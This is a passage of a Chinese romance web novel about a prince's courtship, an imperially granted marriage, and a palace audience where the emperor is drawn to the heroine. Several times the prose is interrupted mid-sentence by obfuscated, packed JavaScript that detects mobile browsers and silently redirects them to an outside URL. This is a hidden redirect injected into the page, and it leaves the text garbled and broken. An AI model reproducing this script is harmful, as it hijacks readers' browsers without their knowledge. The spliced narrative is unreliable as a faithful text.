“我,我有的都是她的。”年轻的晋王没有经历过这些,有些紧张。 许且落笔,口中念念有词,“晋王府宅院,私宅两处,良田有多少,家仆多少,还有没有铺面,其他地方还有没有私产……” 懵了,没想过。 赵行之搓了搓手,郑重道:“这些我不曾细细算过,还容老师待我回去细细盘算后,亲自将东西送上门。” 许且看了他片刻,只得作罢。 却仍旧不放心,叮嘱道:“小早自己不缺银钱财产,但是那是她自己的,我这个做阿爹的就舍去这张老脸替我闺女谋算更多,你可能理解。” “能,自该如此。”赵行之点头如捣蒜。 许且又道:“良田不能少于百亩,嫁妆必须按照亲王纳彩的规格,只多不少。我知你不在乎这些,若是宅院仆从不够还请殿下同陛下去要,那都是晋王府的规制,是殿下应得的,你可以不在乎,但是小早必须不能含糊。” 老大人滔滔不绝将条件列得清清楚楚,赵行之一一答应,照单全收。 看着他十分认真又恭敬的态度,许且这才满意地笑了,“行了,回去准备去吧,下回带着聘礼单子来。” 这架势,大有将晋王府搬空的决心。 但是,王爷开心,王爷愿意,王爷好事将近,佑安领命去办。 但是在这之前,赵行之还有一桩重要的事情要解决一下。 一连下了几日的雨,今年的雨水比往年多了一些,各地的庄稼收成是文明修担心的大事,每年这个时节都是他最忙碌的时候。 已经连续在官署里住了快十日了,文明修披着衣裳仍旧坐在灯下写着什么,看来今日也不打算回去了。 到了下职的时辰,官署里的同僚们纷纷告辞离去,看看文大人如此废寝忘食目不斜视,再看看已经站了快小半个时辰拎着食盒来送饭的小娘子,有人忍不住调侃: “文大人如此心狠,竟连来送饭的美人都置之不理,小心娶不到妻。” “是啊文大人,就让小娘子进去等吧。” 文明修这才抬起头看过去,魏默一个人站在官署的门口正在朝里面张望着,她时常过来,大家都心知肚明。 “魏娘子来了。”文明修慌忙起身将人迎进去,“实在抱歉,我没有看到你,不然绝不会……” “没事,我不怕等。”魏默笑了笑,“知道你忙,特意送些酒才来给你补补身子,大病初愈就这么不顾及自己的身体,身边又没有个知冷知热的人照顾可怎么行。” 文明修低头不语,魏默看到了他殷红的耳垂。 “先吃饭吧。”魏默端出食盒里的饭菜,“都是小早做的,她知道你爱吃什么。” 文明修愣了一下,看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927226|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看魏默张了张嘴,还是没有说出口。 魏默将他所有的尴尬、紧张和想要解释却又不知如何开口的神情尽收眼底,笑着陪他吃饭,也不多说。 清蒸鲈鱼、糖醋里脊、大煮干丝、木须肉还有一份甜汤,果真都是他爱吃的菜,小早的手艺还是一如既往的好。 这一餐文明修吃得很舒服,饭后忙着收拾却被魏默拦下。 小娘子眉眼明媚,透着深情,“文大人,我有几句话想要问个清楚。” 文明修立时又变得拘谨起来,“魏娘子请问。” 魏默坐得端正,开口道:“文大人可是讨厌我吗?” 文明修怔愣,忙摇头,“从不,魏娘子为何误会至此。” “好。”魏默又问,“那文大人可有心仪之人。” 文明修脸红了,不想说可是也不想隐瞒,沉默良久才开口,“过去有过心仪之人,可是都过去了,现在绝对没有那种心思了。” “好。”魏默脸上露出了笑意,“那文大人可是在躲着我?” “自然没有。”文明修显见地紧张起来。 “那……”魏默朝他挪了挪位置,“我想请问文大人对我是何感觉。” 文明修张口又被她拦住了话头,“别说虚的,你明白我问的是什么。” 文明修避无可避,垂头想了想,索性摊开来说清楚也并非坏事。 “魏娘子,我对你没有恶意没有反感,也不曾躲避。”他看着魏默,眼神灼灼,“我知魏娘子待我一片真心,我也十分感动,可是……” 魏默的心徜徉在温柔的春风里,倏然落地的感觉,让她咯噔了一下。 “可是我家境贫寒,自问我与魏娘子云泥之别,怎敢轻言其他。” 抬头看了一眼眼前的美人,文明修一鼓作气,“况且我什么都不会,只会读书,你也看到了,我这个人呆得很,只会泡在官署里忙,也的确有忙不完的事,我就是这般乏味、无趣,还不解风情,时常惹娘子你生气,我……我实在高攀不起,恐辱没了娘子,辜负了你的好意。” 深深一礼,情真意切。 魏默却听得如释重负。 就知道他是个书呆子,就知道他会这样想。 文明修抬头,看到了面颊绯红双目飞桃花的魏默。 “魏娘子……” 刚一开口,对面的小娘子那柔软温热的薄唇覆了过来,香气扑鼻,让文明修僵硬得动弹不得。 “我愿意。”长长的一个吻,二人皆是面红耳赤,喘息之机魏默红着脸开口,“文明修,我喜欢你,从第一次见到你我就喜欢你,我非你不嫁,你不用考虑其他的,跟我在一起好不好。” 小娘子的双臂环在他的肩头,那股温香软玉的甜腻让文明修头脑发懵,云里雾里。 除了点头,没有别的能做了。 “文明修,不要妄自菲薄,你是读书人,万般皆下品唯有读书高,我们两个的确门户不怎么登对,可是你放心,我一定会让你幸福的,文明修,我们成亲吧,我要做官太太。” 宣纸的老太监进门的时候,正看到魏默抱着文明修亲吻。 “哟哟哟。”老太监赶忙捂眼,“晋王殿下,还是您进去吧,老奴年岁大了,受不得这些。” 赵行之接过他亲自求来的赐婚圣旨,笑得放心。 这样生猛的小娘子就应该早些嫁作人妇,免得去祸害小早,把他的小早都教坏了。 85. 双喜 黏在一起的两个人陡然撞见传圣旨的赵行之和李太监,尴尬地迅速弹开。 文明修手足无措,魏默羞红了脸,恨不能钻入地缝里去。 “二位接旨吧。” 文明修不明所以,但李太监分明说的是“二位”,便忙拉着目瞪口呆的魏默一同跪地接旨。 李太监宣读的什么,二人都没听见,只觉得脑子里嗡嗡直响,直到李太监再次让二人起身,这才知道被封赏了。 “恭喜文大人。”李太监是个圆滑的,虽说圣旨上没有对文明修的明确封赏,可是陛下又是赐良田,又是送仆从的,又是送宅院,一看便知这位年轻有为的文大人圣眷正浓。 “恭喜魏娘子。” 说完李太监假作掌嘴状,笑着改口道:“恭喜文夫人。” 魏默羞红了脸,温柔有礼地接了圣旨。 圣旨是赏赐文明修和魏默的,并赐婚二人命其速速完婚,且因魏默家的锦绣绣庄捐赠数额巨大,魏默照顾文明修有功,特封七等诰命宜人。 “魏宜人,文大人,老奴不便久留,还要回去复命,等二位大喜之日老奴定来讨口喜酒吃。” 李太监告辞离去,赵行之紧随其后。 送出门槛的时候,赵行之回头冲文明修道:“让魏宜人好生筹备待嫁吧,无事便不要去小早那里了。” 魏默:…… 不重要,这并不影响魏默此刻的好心情。 待人走了,将圣旨看了又看,摸了又摸,这是她人生第一次见到圣旨,而且是自己的圣旨,赐婚和诰命。 “这是真的吗?”魏默觉得难以置信。 文明修拉过她的手,“是真的,往后我会好好对你,绝不会让你受半点委屈。” 魏默笑得很甜,仔细端详着文明修:“郎君生得好看,又有一个聪明的脑袋考上了状元,如今还连带着我也有了诰命,这可是我们家头一份儿殊荣,我爹娘一准高兴坏了,所以……” 她说:“郎君是有官家罩着的人,不是你配不上我,是我高攀了。” 甜甜的吻再次落下,文明修再没有了方才的窘迫和担心,现在眼前美貌的小娘子是他的娘子了。 “可,可以吗。”文明修紧张得有些发抖。 魏默明白他的意思,方才亲吻之时她已经感受到了来自男子的冲动和力量。 点了点头,魏默含羞道:“郎君,请吧。” 魏默是看过画册的,可是文明修长这么大从未涉及过那些,他说:“非礼勿视,故而还未曾研究过。” “不急,我教你。”魏默拉着文明修的手放在了自己的腰上。 他学得很快,魏默稍一点拨启发文明修便能举一反三触类旁通,帷帐落下,床榻晃动,飘出旖旎的甜味和小娘子脆生生的声音: “到底是状元郎,学什么都……快……” 第二日一早,文明修主动休沐,带着魏默买了礼物登门拜访未来岳丈。 原本正在为女儿一夜未归心急如焚急火攻心的魏东家和夫人,在看到文明修的一刹那,险些将人捆了送官。 魏默是魏东家夫妻唯一的掌上明珠,自小娇宠着长大,家中财帛丰厚当真是要风得风要雨得雨。 魏东家气得七窍生烟,不由分说,将文明修捆住跪在地上。 魏默气急,“爹爹不听我说话吗。” 魏东家颤抖着手指点着魏默,“你,你不要说话,今日这畜生欺负了你,爹爹自会帮你讨回公道。” 魏默挣脱阿娘的手,扑到文明修身上,“爹爹要打要骂都冲我来,他是朝廷命官,我们二人得了陛下的赐婚圣旨,爹爹这是要抗旨吗。” 空气倏然安静,魏东家和夫人都愣住了。 魏默这才拿出圣旨给二老过目。 老两口生平头一次见到圣旨,不知真假,气道:“莫不是你也叫这个白脸小子哄了,谁知道这是真是假。” 魏默哭笑不得,仍旧不忘护着文明修道:“自然是真的,不信你们……” 话没说完,被文明修拦住,只见他躬身行礼,郑重道:“魏东家,夫人,在下文明修祖籍江南,家中尚有一老母亲,现任正四品户部侍郎,与令爱情投意合,昨日得陛下赐婚并赐良田仆从宅院与我二人,婚期定于十日之后。” 说完,见二人还未反应过来,又道:“二位可仔细看,圣旨上有陛下的亲笔和圣印,还封魏默娘子为七等诰命宜人。” “什么,你是户部侍郎,四品官,我女儿是诰命夫人了?”魏东家难以置信。 魏默忙道:“千真万确,爹爹将圣旨看仔细了。” 二老这才仔仔细细摸索着圣旨,面上的表情由惊转喜,眉开眼笑。 见到爹娘转变了态度,魏默这才幽幽道:“阿爹,你现在还将人家四品大官人绑住呢。” 魏东家慌忙亲自给文明修松绑。 魏默又道:“人家可是状元出身,状元,阿爹,咱们家几辈子人都没出过一个状元。” 魏东家十分震惊,还是夫人反应快,忙扶起文明修请到座上,“家主啊,好啊,咱们女儿好眼光好福气啊。” 魏东家这才擦着眼泪点头,“老魏家祖坟冒青烟了,能让四品大官给我当女婿,还是状元,还有陛下亲赐的良田宅院,我闺女如今竟也成了诰命夫人,好啊,祖宗显灵了。” 此时二老再看文明修,眉清目秀翩翩佳公子,仪表堂堂且还有读书人特有的气质,真是怎么看怎么好,当即决定设宴,将家中亲朋好友都请来,大家商议婚事。 二老将魏默丢在一旁,围着文明修又是奉茶又是嘘寒问暖,魏默扣着手指阴阳怪气道: “可是阿爹,他家境贫寒,与我并不门当户对呢。” 魏东家:“那又如何,这叫寒门出贵子,人家是四品大员,是你高攀了。” 魏默偷笑,又道:“可是他除了读书什么都不会呢。” 魏夫人恨不能捂住女儿的嘴巴,斥道:“读书好的人聪明,不会又如何,会做官就够了,咱们家烧了高香了,得了这么个乘龙快婿。” 丈母娘高兴得合不拢嘴了。 魏默又偷笑了一下,期期艾艾道:“可是他拿不出聘礼。” 文明修想说他这些年节省,也攒了一些家资的,却被魏默一个眼神拦住了。 魏东家道:“不要聘礼,陛下赏赐的已经给足了颜面,女婿啊,你放心,嫁妆这边咱们一分都不会少,我们还会给这丫头翻上一倍,不,两倍,将来家里的整个生意都是你们的。” 当日,魏家便隆重地操办着宴席,来得亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵行之陪着她一起过来,带着从前爹娘爱吃的酒菜,梅映禾一一摆上。 坟冢是去年新修建的,之前因为家里太穷都没钱给爹娘一个安身之所,梅映禾抹掉眼泪,笑着诉说家里的近况,“哥哥嫂嫂很恩爱,如今嫂嫂也有了身孕,爹娘可以放心了,我现在也好,身边也有人照顾我,阿爹阿娘啊,小早想你们……” 难得见她哭得孩子似的泣不成声,赵行之轻抚她的脊背并不劝阻,让她释放一下吧,小早过得太不容易了。 待到梅映禾平复了情绪,赵行之举起酒杯撒下,郑重跪地磕头,“二位尊长在上,赵行之向二位磕头赔罪。” 这话他说得含糊,好在小早在一边发呆并未在意。 赵行之继续道:“请二位保佑一切顺利,还白将军一家清白,这也是二位的心愿。感谢二位收留照顾小早,以后我会好好照顾她,待我们完成心愿必定前来告知……” 他絮絮叨叨说了许久,直到太阳快要落山二人才乘车返回。 回去的马车上,梅映禾已经开始思量着皇后的寿宴了,这又是一次机会,一定要成功。 是,一定要成功,不惜一切代价,赵行之想。 86. 惊为天人 夏末秋初的傍晚,凉风习习,透过窗牖吹入御书房内,将御案上的纸张翻得哗哗作响。 赵怀风一手支颐一手翻阅,正在看一份捐助案卷。 案卷很厚,上详细罗列了今夏受灾的地区以及捐助者的姓名,和捐助的财帛物品等,可谓周到又详实。 帝王仍在仔细审阅,下端坐的二人垂眸饮茶,除了瓷器磕碰的轻微声外,整个御书房寂静得落针可闻。 这份卷宗赵怀风已经看了两炷香了,仍旧没有看完。 赵行之饮尽了第三盏茶水,一旁的小太监忙上前重新沏茶倒水。 坐在他对面的许且老神在在,慢慢地喝一口茶却不急着咽下,双目微合面无表情,似是在品味茶水的甘甜,又似在打瞌睡。 透过窗户,能看到远山上的落日,红彤彤的好似咸蛋黄,向大地铺陈着金色的光辉。 那落日余晖照入殿中,能将飘浮在空气中的微粒看得一清二楚。 竟然连对面人的眉眼间都镀上了一层浅淡的金色。 灼灼的目光被许且察觉,老大人掀开眼皮看向对方,俊逸出尘的样貌,挺拔有型的身姿,儒雅风流的气质,真是无一处不好的。 “好。” 赵怀风终于从那本厚厚的卷宗里抬起头,眉眼中尽是满意的笑容和得意的神色。 “今年这几场赛事做得好啊,商户们的心拧到了一处,这是户部的功劳。” 帝王的目光落在许且身上,“老大人劳苦功高啊。” 许且的目光从赵行之身上挪开,面上露出畅意的笑容,起身道:“陛下过誉了,臣不敢领功,这些都是文大人辛苦操持,再加上商户们的鼎力合作。” 赵怀风哈哈地笑着起身,虚扶了一把许且,三人共同入座后,道:“文明修朕已经赏赐过了,老大人作为户部尚书自然功不可没。” 说完又问:“朕还听说今夏的许多活动、集市都源自一个叫梅映禾的小娘子,可是当真。” 许且点头,“此女乃老臣义女,陛下说得没错,这捐助的银钱财帛也好,物资药材也好,还有那一个个精彩纷呈的集市活动和比拼,还有招募菜农入市场竞争等等,诸多想法都出自小女。” 赵怀风大为震惊,看了看许且又看了看赵行之,“此女怎会如此厉害,可是有什么来历或是高人指点?” 任谁去想也不会认为一个刚过及笄之年的小女子能有这般能耐。 “皇兄。”赵行之起身,“这位梅东家梅小娘子并非有高人指点,亦无名家为师,只是因为……” 他的目光从许且的脸上掠过,看到了老师殷切认可的眼神,遂更有底气道:“只是因为她幼时家乡遭难,父母双亲皆死于水患之中,和兄长相依为命沿街乞讨的日子实在难过,故而发奋图强有了今日的成就便也想给那些同样遭受灾难的百姓送去一点点安慰,支持他们挺过来。” 想起小早义无反顾的眼神和切入肺腑的话语:“我曾经淋过雨,所以想为天下同样受灾的百姓撑一把伞。” 这话被赵行之说出口,换来了赵怀风良久的沉默。 “是个有情有义的小娘子,心系百姓自强不息,朕很欣慰。”赵怀风回到御案之后,提笔书写。 帝王亲自写就对于梅映禾的赏赐越了规矩,甚是厚重,但是他却不以为然,“朕就是要赏赐这样的忠义之士,明日宣梅映禾入宫,朕要亲自见一见这位巾帼英雄,还有皇后寿诞之事想要同她商议细节。” 终于等到这一日了,宣旨官捧着圣旨带着赏赐急匆匆奔梅映禾宅子就去了,身后许且和赵行之也从御书房里走了出来。 夕阳将两个人的身影拖得又细又长,时而分离时而交叠。 “东西都准备好了?”许且问。 赵行之点头,“早就准备好了。” 他为了这一日等了好多年,手里尽是当年冤案的铁证。 “陛下当真会认吗?”许且捋须,神情中似有担心。 赵行之顿住脚步,“若是不信我便以这些年兄嫂二人谋害我的事换取小早爹娘的清白。” 许且定定地看着他,坚定,义无反顾。 须臾后,许且的脸上露出笑容,“老夫果然没有看错人,只是云策你……” “老师,我不怕。学生已经做好了失去一切的准备。” 二人走到宫门口,望着即将落山的夕阳,赵行之的脸上露出难得一见的笑容,那是自信幸福的笑容。 “这些本就不是我所求,失去了于我而言并不可惜。” 许且点头,他最明白这个学生有多看重亲情兄弟,只是这些年的种种太让他失望了,如此,也好。 倏然又想起什么,许且问:“陛下可知道你们二人的关系。” 赵行之笑着搀扶着老师上车,“他不曾问过,所以学生想,应当是知晓的。” 二人进到马车里坐下,许且吩咐,“你跟着我回家吃顿便饭再走。” 赵行之颔首应下,又道:“皇兄不问我便不提,左右这门亲事学生会自己做主。” 以如今二人的身份谈婚论嫁,皇家势必不能同意,莫说帝后,就是那些一心想要攀龙附凤的大臣们也是绝不能善罢甘休的,更何况梅映禾的真实身份若是曝光后,可想而知那将是怎样的腥风血雨。 但是他心意已决,这让许且也深感欣慰。 回家的路途并不遥远,二人都未曾再说一句话,只默默地看着窗边从苍黄到近墨。 到家的时候宣旨官刚刚宣读完圣旨离去。 小梅拉着梅映禾正欢喜得流泪,“真替你高兴。” “嫂嫂,这是我们一家子的事。” 姑嫂二人抱在一起,直到看到许且和赵行之进门。 小梅这才不好意思地擦拭眼泪,吩咐厨房今晚多做几个菜庆贺,又赶紧拉着梅映禾回房,“明日就要进宫,此次定不能像上次那般潦草,不能在陛下和娘娘面前失礼,走,跟我回房去帮你打扮打扮,看看还缺什么趁着晚间还能买得到。” 梅映禾无可奈何,被拉着回房间,小梅将她所有的衣裳都翻了出来,虽说这些年也置办了新衣,可是左挑右拣小梅也没看中一件合适的,很是着急。 “先穿这件吧。”她只能拿起一件鹅黄色的纱裙,“这件衬得肤色好,你皮肤白暂时先凑合。” 说完又拉着她坐到妆奁前开始给梅映禾上妆戴首饰,“早让你多裁制新衣,咱们日子好了不缺银子,可你还是这般节省。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937890|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梅映禾笑笑,“够穿了,这都穿不完呢。” 直到那些亮闪闪耀眼的东西都戴到自己的头顶上,梅映禾这才拉住小梅:“嫂嫂,不要再加了,这也太重了。” 小梅仍不罢休,“想好看就得受这罪,习惯就好了。” 望着满头珠翠,梅映禾无奈道:“挑拣几样便好,太过隆重我怕招惹是非。” 小梅装扮的手顿了一下,这话的确没错,以梅映禾的姿色若是进宫去晃了一圈真保不准能招来什么样的人。 “也好,听你的。”小梅索性拆掉了她头上的东西,换了个家常的发髻,倒是越发显得温婉柔顺了许多。 “这样好,看上去很本分。”小梅点了点头,“钗环也不多,如此倒也不会失礼,你觉得呢。” 梅映禾看着镜子里的自己,雪白的皮肤朱唇皓齿,眉眼被嫂嫂画得格外精致,顾盼神飞的,难以相信这就是自己。 原来她也可以这么好看啊,梅映禾想。 从前倒是经常听人夸赞她样貌出众,只是从未往心里去也不甚在乎这些,如今这样简单装扮一下仿若换了一个人,像……像那高门大户的千金大小姐了。 梅映禾点头,“听嫂嫂的。” 既来之则安之,既然老天爷给了她这样姣好的容貌,又何必藏着呢,大大方方展示人前只要不是过分夸张卖弄,又有何不可。 从今往后要改掉自己的美女羞耻症,梅映禾左右端详着自己,嗯,好看,真好看。 第二日,梅映禾就穿着自己最漂亮的衣裙,戴着得体的首饰和完美无瑕的妆容一步步缓缓迈入正殿的大门。 她背光而来,身后便是万丈霞光和金灿灿的太阳,小娘子举止端庄婀娜落落大方,眉眼如画衣裙飘飘仿若那画中走下来的仙子,看得在场的众位无不为之惊叹。 就连高高在上的帝王也挪不开眼。 上次见过一面却不记得究竟样貌如何,想来彼时她一身荆钗布裙,尚在忙碌后厨庖厨之事,却不曾想今日一见惊为天人。 赵怀风的心里咯噔一下,放在身侧的手握紧了又松开,松开又握紧。 这样不为人知的小动作只有坐在他身边的皇后娘娘看到了。 再看看殿中的小娘子,真是没想到竟是这样一个美人。 “民女梅映禾参见陛下,娘娘。” 清朗柔润的声线,毫无挑剔的礼节,梅映禾俯身磕头行礼。 赵怀风这才被她的声音唤醒,还未来得及喊平身,便见身侧的皇后已然亲自起身走下高阶去扶起梅映禾。 “梅娘子劳苦功高,不必行此大礼。” 皇后娘娘声音和蔼温柔,让梅映禾心里平稳了许多。 “快来,让本宫好好瞧瞧。”皇后拉着她仔细打量,“啧啧啧,真不知这世上竟有如此貌美脱俗之人,本宫可算是开了眼界了,是不是,陛下。” 皇后带着笑意回头看向高高坐在上首的帝王,赵怀风点了点头,“皇后眼光如炬。” 再看看一旁更是目不转睛盯着这位梅娘子的晋王殿下,皇后心里生出一个主意,当下笑容在脸上绽放如灿烂盛开的牡丹。 “这样标致的人本宫认下你做个干妹妹,你可愿意。” 87. 公平交易 金灿灿的阳光照进大殿内,梅映禾周身起了一层薄汗。 原本不觉得紧张,可当皇后娘娘询问她要认她做干妹妹的时候,梅映禾一时不知该如何回答。 平心而论,她是不愿意的。 帝王家岂是她这等小民可以高攀的,梅映禾是个不愿张扬的性子,只求平安顺遂无意攀龙附凤。 可是这些话说出口肯定不合适。 面对皇后娘娘笑意盈盈的询问,梅映禾无法拒绝,只道:“民女怎敢高攀。” 这是一句委婉的谢绝,可是皇后既然有心为之必定不会顾念她的想法。 “这怎叫高攀呢,本宫喜欢你咱们又投缘,往后你也能常入宫走动陪我说说话解解闷,还能教本宫做些可口的吃食,也好叫本宫更讨得陛下的欢心。” 皇后笑靥如花地回头看了一眼坐在上首的赵怀风,眉目含情,论谁见了都得羡慕帝后感情笃深。 帝王的眼神微微眯起看向二人的方向,看似在看着自己青梅竹马感情深厚的妻子,其实那眼神早已经黏在梅映禾身上挪不开了。 皇后杨玉芳同赵怀风从小一起长大,一直都是众人眼中最温柔大方、与世无争的高贵典范,可是只有二人自己知道,其实彼此早就都变了。他早已不是那个眼里只有她的青葱少年,自己也变成了焦虑多疑为达目的不择手段的皇后娘娘。 那一瞬间,杨玉芳心里闪过一丝悲凄。 而此刻赵怀风眼里只有这个年轻美貌的梅小娘子,真是越看越喜欢。 她较大半年前似乎又长开了许多,眉眼如画温柔知礼,尤其那一对水灵灵亮晶晶的大眼睛,似乎像某个故人。 一旁的李太监是从小服侍帝王的身边人,比任何人都懂得赵怀风的心思。 许多年未曾见过陛下用这种眼神看人了,李太监也仔细打量了一下梅映禾,再瞧瞧皇帝陛下灼灼炙热又若有所思的目光,心下了然,对一旁的小徒弟使了个眼色,小太监点头领命悄悄退出大殿。 赵怀风的脑子里闪过许多张熟悉的面容,终于想起来梅映禾的长相酷似曾经大隶朝的第一美人,也就是向将军的夫人,那是个温婉明艳的美人,似乎比赵怀风长了几岁,却永远给人如沐春风的感觉。 赵怀风记得自己曾经见过向夫人几次,她都是十分温柔恭敬,一颦一笑似天上仙女,让人一见难忘。 眼前的这位小娘子眉眼间有几分相似却多了些许英气和坚韧,不似向夫人那般柔软妩媚。 袖中的手指对搓了几下,赵怀风迎上了皇后灿烂的笑容:“朕觉得甚好。” 帝后心照不宣,皇后拉着梅映禾说话,赵怀风则看向了身边的李太监,李太监微不可察地点了点头,帝王这才展露笑颜: “难得皇后如此兴致,梅娘子就不要有顾虑了。” 皇帝笑得很可亲,站在身边的皇后娘娘亦是笑逐颜开且眼神中带着期盼。 梅映禾无法拒绝,只得默默点头应下,引得帝后一阵开怀。 一旁的赵行之目睹了这一切,看到皇兄那意味不明的眼神只觉得心里霍霍直跳,难道皇兄看出来什么了吗,赵行之想了想,若是当真赵怀风知道了梅映禾的身份还怎会如此心平气和,那是皇家的大忌,他断不会如此云淡风轻。 所以应当是自己想多了,皇兄或许只是觉得小早眼熟吧。 可是为什么心里总有一种不踏实的感觉。 赵行之看向了对面的许且,老大人也是一副忧心忡忡的模样,眉头微蹙面色肃然。 夏日的天气说变脸就变脸。 方才还是晴好灿烂的艳阳,只片刻工夫就变得阴云密布,大殿内立时暗下来许多。 “梅小娘子做庖厨辛劳,你不觉得太辛苦了吗。”帝王发话,关切之情溢于言表。 梅映禾赶紧恭敬回答:“民女做自己喜欢的事情,并不觉得辛苦。” 赵怀风点了点头,“能逆境奋发实属不易。” 遂又道:“但此事却不是一个女子该为之的,梅小娘子生得娇柔妩媚合该被人疼爱珍藏,这样辛劳的事叫旁人去做就好,你只略微指点也算是平素打发时间的爱好。” 梅映禾道:“多谢陛下体恤,民女并不觉得累,而且民女性子泼辣从小吃惯了苦头,如今的生活已经很好了,也不愿被娇养,况且民女已经有了意中人,将来只求夫妇二人齐心协力共同……” 说这话的时候梅映禾的视线并未便宜御座,却能感应到一旁站着的赵行之炙热的眼神。 可是话未说完却被赵怀风打断了:“嗯。”赵怀风的表情未曾有半分惊讶,平淡道,“那便不着急定亲,女郎家选择夫婿相当于决定自己的下半生,切不可操之过急,如果有了天定的荣华富贵切莫错过。” 梅映禾:…… 还未反应过来这句话究竟是何意思,赵怀风再度转换话题: “至于明日皇后的寿宴。” 帝王起身看向正朝他走回来的皇后,伸出手递给她,皇后缓慢的脚步一顿,即刻走上前伸出手去回应帝王的热情。 “就由皇后自己做主,梅娘子有什么想法尽管同皇后商议便是。” 帝王眯起眼看向皇后,杨玉芳借着屈膝行礼的空儿抽回自己的手,“谢陛下,臣妾明白这是臣妾的寿宴但同时也是陛下的心意。” 皇后笑意盈盈地看着帝王,眼中含着笑:“臣妾一定做到让陛下满意的。” 这样寻常的话或许只有帝后能明白彼此的意思,帝王果然满意地点了点头,“你们自便吧。” 帝王先行回了后殿,皇后示意梅映禾跟着自己,梅映禾这才匆匆瞥了一眼赵行之紧随而去。 大殿内众人纷纷散去,赵行之呆立着望向帝王离去的方向久久未曾挪动步伐。 直到许且走近他,赵行之这才喃喃道:“他是那个意思吗?” 方才帝王的问话实在很难让他不多想,在这之前赵行之曾设想过许多种可能性,或许皇兄已经知晓梅映禾的身份,或许皇兄因为他们二人的关系而责难小早,或许还会给她施加压力……可就是没想到,他竟会对小早生出那样的心思。 许且的眉头皱得紧,面色有些灰白,“老夫也担心……” “原本想等到明日寿宴过后再提及此事的。” 赵行之在确认了老大人的想法后迫不及待地打断了他的话,“如今看来不及了,我这便去找皇兄摊牌。” 许且并未阻止他,“也好,还是按照原计划行事,老夫等殿下的号令。” 赵行之敛神肃目,郑重地向许且行了大礼后匆匆向后殿而去。 * 慈顺宫内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周围伺候的人纷纷退去,帝后同时放下了碗筷。 “皇后所求之事朕这便下旨。”赵怀风率先开口,“传位于皇长子赵頻。” 赵頻便是皇后杨玉芳的儿子,今年只有五岁的大皇子。 虽说是帝后嫡出的皇子,也是众多皇子中最年长的一位,大家都觉得理所当然太子之位应当就是这位小殿下的,可是赵怀风似乎无视于众人的催促猜测和议论,迟迟不立太子。 拖得太久了,难免皇后杨玉芳心焦恐生变故,脾气也越发急躁。 这些年帝后感情不睦,也只有在外人面前装一装恩爱情深罢了,私底下杨玉芳不知用了多少法子想让赵怀风尽快下诏立太子,可是赵怀风始终没有给出回应。 每每留宿后宫也从不来慈顺宫,其他的嫔妃宫人有了身孕生了皇子皇女,亦或是孩子离奇死亡大人无故丧命,他也从不放在心上。 “臣妾谢过陛下。”杨玉芳端起酒盅敬帝王。 赵怀风却没有动,只抬眸道:“还请皇后收手,莫要再残害他人给朕多留一些根脉吧。” 杨玉芳愣了一下,笑得无懈可击的面上掠过一层薄薄的冷意,点了点头未置一词仰头独自喝下烈酒。 帝王起身,“接下来的事还请皇后多多费心了。” 杨玉芳亦起身行礼,“臣妾都已经安排好了。” 88. 陷落宫中 慈顺宫壮观阔达,虽已过了草木葳蕤的季节,四处仍郁郁葱葱繁茂浓密。 梅映禾入了芳华阁便被小宫女领着仔细参观了一番,寝殿温馨雅致,书房清淡舒适,后院还有一个小小的池塘,几尾小鱼自由自在地穿梭嬉戏。 这些好是好可是梅映禾觉得都与自己并无太大关系。 “请问阿姊。”她叫住了想要离去的小宫女,客气地问道:“不知后厨在何处,明日就是皇后娘娘的寿宴,今日我还有许多食材要准备。” “梅娘子不妨先歇息片刻。” 远处来了两名穿着更为华丽的女子,梅映禾不知如何称呼,只得垂首行礼。 “翡翠姐姐,琉璃姐姐。” 先前被她叫住的小宫女见了二人赶忙行礼,在得了翡翠的眼神后方才离去。 刚才那句话便是翡翠说的,见了梅映禾二人又郑重行礼,“翡翠,琉璃,见过梅娘子。” 人漂亮灵秀规矩妥帖齐整,梅映禾看得一呆,赶忙还礼,“二位姑娘好。” “梅娘子不必客气,您是娘娘请来的贵客,咱们理应好好伺候。”琉璃笑盈盈道,“娘娘为娘子准备了午食,片刻就送过来了,还请娘子先用了饭再忙吧。” 如此也好,梅映禾紧张了一整个上午,这会儿还真是饿了。 午食丰盛味道也很好,梅映禾吃得很满足。 见她实在不愿多耽搁时辰,想来应是有许多东西要准备,翡翠琉璃赶忙带着梅映禾去了御膳房,并嘱咐御膳房的管事,此次娘娘寿宴御膳房上下听梅娘子吩咐,还特意留了一个小太监候着跑腿。 皇后的寿宴在宫里头办,食材自然不能像上回一样从宫外进,梅映禾即刻拉了单子交给管事去准备采买。 “我店里的几个人是很好的帮手,不知他们什么时候能入宫。”梅映禾问那个听吩咐的小太监。 